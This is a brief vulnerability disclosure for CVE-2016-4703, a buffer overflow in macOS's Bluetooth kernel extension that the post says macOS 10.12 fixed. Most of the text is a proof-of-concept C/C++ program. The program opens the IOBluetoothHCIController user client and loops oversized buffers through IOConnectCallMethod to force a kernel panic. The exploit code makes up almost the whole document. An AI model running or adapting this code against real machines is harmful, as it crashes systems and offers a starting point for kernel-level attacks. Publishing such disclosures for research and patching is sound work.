BufferOverflow in Bluetooth

After Sending a request to BluetoothFamily.kext, system will panic. IOBluetoothHostController::BluetoothHCIChangeLocalName method doesn’t handle the parameter correctly.

macOS 10.12 has fixed this bug. CVE-2016-4703.

 

PoC:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <IOKit/IOKitLib.h>

uint32_t hciRequestCreate(io_connect_t conn)

{

uint64_t inputScalar[8];

uint32_t inputScalarCnt = 0;

 

char inputStruct[4096];

size_t inputStructCnt = 0x74;

 

uint64_t outputScalar[8];

uint32_t outputScalarCnt = 0;

 

char outputStruct[4096]={0};

size_t outputStructCnt = 0x100;

 

 

 

*(uint32_t*)&inputStruct[0x70] = 0;

 

 

uint64_t argTimeout = 500;

uint64_t argASync = 0;

uint8_t argCallback[0x28];

uint64_t argReserve;

 

 

 

((uint64_t*)inputStruct)[0] = (uint64_t)&argTimeout;

((uint64_t*)inputStruct)[7] = 8;

 

((uint64_t*)inputStruct)[1] = (uint64_t)&argASync;

((uint64_t*)inputStruct)[8] = 8;

 

((uint64_t*)inputStruct)[2] = (uint64_t)&argCallback;

((uint64_t*)inputStruct)[9] = 0x28;

 

((uint64_t*)inputStruct)[3] = (uint64_t)&argReserve;

((uint64_t*)inputStruct)[10] = 8;

 

IOConnectCallMethod(

conn,

0,

inputScalar,

inputScalarCnt,

inputStruct,

inputStructCnt,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

 

return ((uint32_t*)outputStruct)[0];

 

}

int main(){

kern_return_t err;

 

CFMutableDictionaryRef matching = IOServiceMatching(“IOBluetoothHCIController”);

if(!matching){

printf(“unable to create service matching dictionary\n”);

return 0;

}

 

io_iterator_t iterator;

err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);

if (err != KERN_SUCCESS){

printf(“no matches\n”);

return 0;

}

 

io_service_t service = IOIteratorNext(iterator);

 

if (service == IO_OBJECT_NULL){

printf(“unable to find service\n”);

return 0;

}

printf(“got service: %x\n”, service);

 

 

io_connect_t conn = MACH_PORT_NULL;

err = IOServiceOpen(service, mach_task_self(), 0, &conn);

if (err != KERN_SUCCESS){

printf(“unable to get user client connection\n”);

return 0;

}else{

printf(“got userclient connection: %x, type:%d\n”, conn, 0);

}

 

 

uint32_t hciIndex=hciRequestCreate(conn);

if (hciIndex==0) {

printf(“error create request\n”);

return 0;

}

 

uint64_t inputScalar[8];

uint32_t inputScalarCnt = 0;

 

char inputStruct[4096];

size_t inputStructCnt = 0x74;

 

uint64_t outputScalar[8];

uint32_t outputScalarCnt = 0;

 

char outputStruct[4096];

size_t outputStructCnt = 0x100;

 

 

//fill input struct

Byte* dispatchPara[7] ;

 

printf(“try”);

 

for (uint32_t j=0; j<=0x10000; j++) {

 

 

dispatchPara[0] = new Byte[8];

 

dispatchPara[1] = new Byte[j];

memset(dispatchPara[1],1,j);

 

((uint64_t*)inputStruct)[0]=(uint64_t)dispatchPara[0];

((uint64_t*)inputStruct)[7] = 8;

((uint64_t*)inputStruct)[1]=(uint64_t)dispatchPara[1];

((uint64_t*)inputStruct)[8] = j;

 

 

*(uint32_t*)&inputStruct[0x70] = 45;

 

uint32_t* indexHCIRequest = *(uint32_t**)&inputStruct[0];

 

*indexHCIRequest = hciIndex;

 

 

err = IOConnectCallMethod(

conn,

0,

inputScalar,

inputScalarCnt,

inputStruct,

inputStructCnt,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

 

if (err != KERN_SUCCESS){

//printf(“[%d] IOConnectCall error: %x\n”, j,err);

}

 

printf(“.”);

 

for (uint32_t i=0; i<2; i++) {

delete [] dispatchPara[i];

}

}

 

 

 

 

 

printf(“Not panic?\n”);

 

 

return 0;

}